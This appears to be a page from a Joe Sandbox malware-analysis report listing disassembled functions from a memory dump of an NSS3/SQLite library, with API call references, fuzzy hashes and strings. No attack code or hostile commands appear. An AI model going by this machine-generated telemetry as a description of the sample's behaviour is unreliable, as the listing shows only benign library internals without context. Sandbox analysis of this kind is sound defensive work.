Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 9870be60955383e56d5a8b665dc8d5fd2b15e6f4b4d56526bf73154c18cbe71a
Instruction ID: 558d3ebd5e071673de55e30a46bb1f34e11f794f7b6af0feaf9cdd7c3399caa4
Opcode Fuzzy Hash: 9870be60955383e56d5a8b665dc8d5fd2b15e6f4b4d56526bf73154c18cbe71a
Instruction Fuzzy Hash: 6D21B571A002549FDF109F28EC847AE7BA4EF45358F158169EC299B741E730ED1ACBE2

Function 6CBAEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBAEE49

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBAEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CBAEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CBAEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBAEEB3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: ff31353e518ad1ede4f0bf8f5fea34bb1346db0c6a88bdf47c1a5445ee456aaf
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2F2105B6A042906BEB019F58DC81EAFB3A8EF46708F0401A4FD049B701E771EC2587F2

Function 6CBD0AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0AAE
PL_HashTableDestroy.NSS3(?,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0ACA
PL_HashTableDestroy.NSS3(?,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0B24
free.MOZGLUE(?,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0B3C
memset.VCRUNTIME140(6CCD24E4,00000000,000005B0,?,?,6CB87F62,00000000,00000000,?,?,?,6CB880DD), ref: 6CBD0BC2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 711f7b07467435ebae1deacfb3e84ff55c996485d89af6d28e89cfc14bf103d2
Instruction ID: f0df3cb7fc5b41d8935ce109c60e4f1e7aea571dd2e8a9861f9efa0f4ab46512
Opcode Fuzzy Hash: 711f7b07467435ebae1deacfb3e84ff55c996485d89af6d28e89cfc14bf103d2
Instruction Fuzzy Hash: FE210AF1B042819EEF50CF66E82D7463AB8E70634EF064025D809D2E41E775F988CB62

Function 6CBC4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CBC4EB8,?), ref: 6CBC4884

Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8821
Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC883D
Part of subcall function 6CBC8800: EnterCriticalSection.KERNEL32(?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8856
Part of subcall function 6CBC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBC8887
Part of subcall function 6CBC8800: PR_Unlock.NSS3(?,?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBC4EB8,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBC4EB8,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CB878F8), ref: 6CBC4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC48B8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 1f01cc1865f9cc7d240ec1949409d403300d5aa1a1eac1a59d2ec151c332a9e6
Instruction ID: d8a26aeefd67c8f02216b6680f080a5bc4e81306f2d689c6d24bbc86a6c19d18
Opcode Fuzzy Hash: 1f01cc1865f9cc7d240ec1949409d403300d5aa1a1eac1a59d2ec151c332a9e6
Instruction Fuzzy Hash: F7216276F002809BEF105EA5ECC496677B8EB1665A7140528EE4947A01E721FA14CBA3

Function 6CB889E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB888AE,-00000008), ref: 6CB88A04
EnterCriticalSection.KERNEL32(?), ref: 6CB88A15
memset.VCRUNTIME140(6CB888AE,00000000,00000132), ref: 6CB88A27
PR_Unlock.NSS3(?), ref: 6CB88A35
memset.VCRUNTIME140(6CB888AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CB888AE,-00000008), ref: 6CB88A45
free.MOZGLUE(6CB888A6,?,6CB888AE,-00000008), ref: 6CB88A4E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: ccfd83c6c5c572d48612ef097a36becfa24f3dd149cd949794c07e0b725de150
Instruction ID: d23d59b3c3d6872a399dce69f28e07e73145f78db4849ad7a5a83549fe16a58f
Opcode Fuzzy Hash: ccfd83c6c5c572d48612ef097a36becfa24f3dd149cd949794c07e0b725de150
Instruction Fuzzy Hash: D21127B5E013409FEB00AFA8DC84A6BBB78FF05718F000526E91597640F732E654C7E1

Function 6CB88A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6CB88FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CB90710), ref: 6CB88FF1
Part of subcall function 6CB88FE0: calloc.MOZGLUE(00000001,00000000,?,?,6CB90710), ref: 6CB8904D
Part of subcall function 6CB88FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CB90710), ref: 6CB89066
Part of subcall function 6CB88FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CB90710), ref: 6CB89078

TlsGetValue.KERNEL32 ref: 6CB88AC1
EnterCriticalSection.KERNEL32 ref: 6CB88AD6
PL_FinishArenaPool.NSS3 ref: 6CB88AE5
PR_Unlock.NSS3 ref: 6CB88AF7
DeleteCriticalSection.KERNEL32 ref: 6CB88B02
free.MOZGLUE ref: 6CB88B0E

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: 3491653060bfe8d632852d37991daa65ac490a793c3621f03d95a3588d31d013
Instruction ID: 462cbc3ee90cc8eeeee3bb28af34be164e881b691f80e75a3824f4b8bd9611b5
Opcode Fuzzy Hash: 3491653060bfe8d632852d37991daa65ac490a793c3621f03d95a3588d31d013
Instruction Fuzzy Hash: 471160B15056458FDB00BF79C08966EBBF4FF41348F01496AD8858B700EB36E599CBD2

Function 6CC88910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC8892E

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

PR_Lock.NSS3 ref: 6CC88950

Part of subcall function 6CC39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB61A48), ref: 6CC39BB3
Part of subcall function 6CC39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB61A48), ref: 6CC39BC8

getprotobynumber.WSOCK32(?), ref: 6CC88959
GetLastError.KERNEL32(?), ref: 6CC88967
PR_GetCurrentThread.NSS3(?,?), ref: 6CC8896F
PR_Unlock.NSS3(?,?), ref: 6CC8898A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 68a132d4b364e04cccd615521e88384ae4dd2dadb7a3e4f5b742b29d766688b3
Instruction ID: 8441c688f2ee88c07f396017cd57155ecf8b91ea1e7515246583267ceaf342bf
Opcode Fuzzy Hash: 68a132d4b364e04cccd615521e88384ae4dd2dadb7a3e4f5b742b29d766688b3
Instruction Fuzzy Hash: 71117072A151209BCB105FBAA84498B7A74AF4637CB0642A6EC0A97FA1E730DC05C7D6

Function 6CB5C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB5C4F0
free.MOZGLUE ref: 6CB5C51A
TlsSetValue.KERNEL32 ref: 6CB5C540
free.MOZGLUE ref: 6CB5C557
DeleteCriticalSection.KERNEL32 ref: 6CB5C56A
free.MOZGLUE ref: 6CB5C576

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 1ac3363934176d7dfb008f0ac7b99bd8446aca676371681cfb42dbac1bda73bf
Instruction ID: 068d155f0ea86f174a6614aa008c1f83713648270ef692bf62aee2b17b80e081
Opcode Fuzzy Hash: 1ac3363934176d7dfb008f0ac7b99bd8446aca676371681cfb42dbac1bda73bf
Instruction Fuzzy Hash: 9F113DB4A04B408BDB11BF79D04916EBFF4FF49755F450A2DE8CA87A00EB30A595CB86

Function 6CC06840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CC0AA9B,?,?,?,?,?,?,?,00000000,?,6CC080C1), ref: 6CC06846

Part of subcall function 6CB61770: calloc.MOZGLUE(00000001,0000019C,?,6CB615C2,?,?,?,?,?,00000001,00000040), ref: 6CB6178D

PR_NewMonitor.NSS3(00000000,?,6CC0AA9B,?,?,?,?,?,?,?,00000000,?,6CC080C1), ref: 6CC06855

Part of subcall function 6CBC8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CB755D0,00000000,00000000), ref: 6CBC868B
Part of subcall function 6CBC8680: PR_NewLock.NSS3(00000000,00000000), ref: 6CBC86A0
Part of subcall function 6CBC8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CBC86B2
Part of subcall function 6CBC8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CBC86C8
Part of subcall function 6CBC8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CBC86E2
Part of subcall function 6CBC8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CBC86EC
Part of subcall function 6CBC8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CBC8700

PR_NewMonitor.NSS3(?,6CC0AA9B,?,?,?,?,?,?,?,00000000,?,6CC080C1), ref: 6CC0687D

Part of subcall function 6CB61770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB618DE
Part of subcall function 6CB61770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB618F1

PR_NewMonitor.NSS3(?,6CC0AA9B,?,?,?,?,?,?,?,00000000,?,6CC080C1), ref: 6CC0688C

Part of subcall function 6CB61770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB618FC
Part of subcall function 6CB61770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CB6198A

PR_NewLock.NSS3 ref: 6CC068A5

Part of subcall function 6CC398D0: calloc.MOZGLUE(00000001,00000084,6CB60936,00000001,?,6CB6102C), ref: 6CC398E5

PR_NewLock.NSS3 ref: 6CC068B4

Part of subcall function 6CC398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC39946
Part of subcall function 6CC398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAF16B7,00000000), ref: 6CC3994E
Part of subcall function 6CC398D0: free.MOZGLUE(00000000), ref: 6CC3995E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 5d58a3cca5d7d312a67124a5e8ec7e51b97796b56c9ca6b4c4f52cd5eedface2
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 2B01FBB0B01F4746E7516F7698103EBB6E86F1129CF14053A8869C6A90FF72D4488FA2

Function 6CB5AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5AFDA

Strings

misuse, xrefs: 6CB5AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CB5AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB5AFC4
%s at line %d of [%.10s], xrefs: 6CB5AFD3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: fbb78d98aed8cecaf61c31502736a48a3d6c4a0742bd3e686f4847a4df094431
Instruction ID: 54f3dfb39e2b57e001ec577df629b39eb9780837c5a3e85ee7cd27cff5dabf78
Opcode Fuzzy Hash: fbb78d98aed8cecaf61c31502736a48a3d6c4a0742bd3e686f4847a4df094431
Instruction Fuzzy Hash: 0491DF71B002958FDB04CF69C890ABABBF1EF45314F5984A8E865AB791D331EC11CF61

Function 6CAFE4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAFE53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAFE5BC

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAFE525, 6CAFE596, 6CAFE5A7
%s at line %d of [%.10s], xrefs: 6CAFE534, 6CAFE5B6
database corruption, xrefs: 6CAFE52F, 6CAFE5B1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 93286c5860f581226a383648b760c0e5975788aad5064ecd42bcdea880d25db6
Instruction ID: 6b6f8c8f035a8c915e193bcff1eecf04b716ff02a501648e997112ad81f46421
Opcode Fuzzy Hash: 93286c5860f581226a383648b760c0e5975788aad5064ecd42bcdea880d25db6
Instruction Fuzzy Hash: 7F313530A407159BC3228EADC89496AB7A1EF45314B58097DF898A7B41F375E98BC3E0

Function 6CC4A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CB17915,?,?), ref: 6CC4A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CB17915,?,?), ref: 6CC4A8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC4A891
%s at line %d of [%.10s], xrefs: 6CC4A8A0
database corruption, xrefs: 6CC4A89B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: cce95b4cd22c0ca7e0c53cc35421a1f132f591e11d7f12a2309e23e4be2afe70
Instruction ID: 4d42d10f4334de6a4ab5cf6ededdd70970f4a351742342eacc738b575210bb93
Opcode Fuzzy Hash: cce95b4cd22c0ca7e0c53cc35421a1f132f591e11d7f12a2309e23e4be2afe70
Instruction Fuzzy Hash: 0711D375A00214AFDB048F51DC51AAEB7A5FF89314F00C439FD194BA90FB34A916CB92

Function 6CBACAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CB8B1EE,D958E836,?,6CBC51C5), ref: 6CBACAFA
PR_UnloadLibrary.NSS3(?,6CBC51C5), ref: 6CBACB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CB8B1EE,D958E836,?,6CBC51C5), ref: 6CBACB2C
PR_UnloadLibrary.NSS3(6CBC51C5), ref: 6CBACB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CBACAF5, 6CBACB27

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
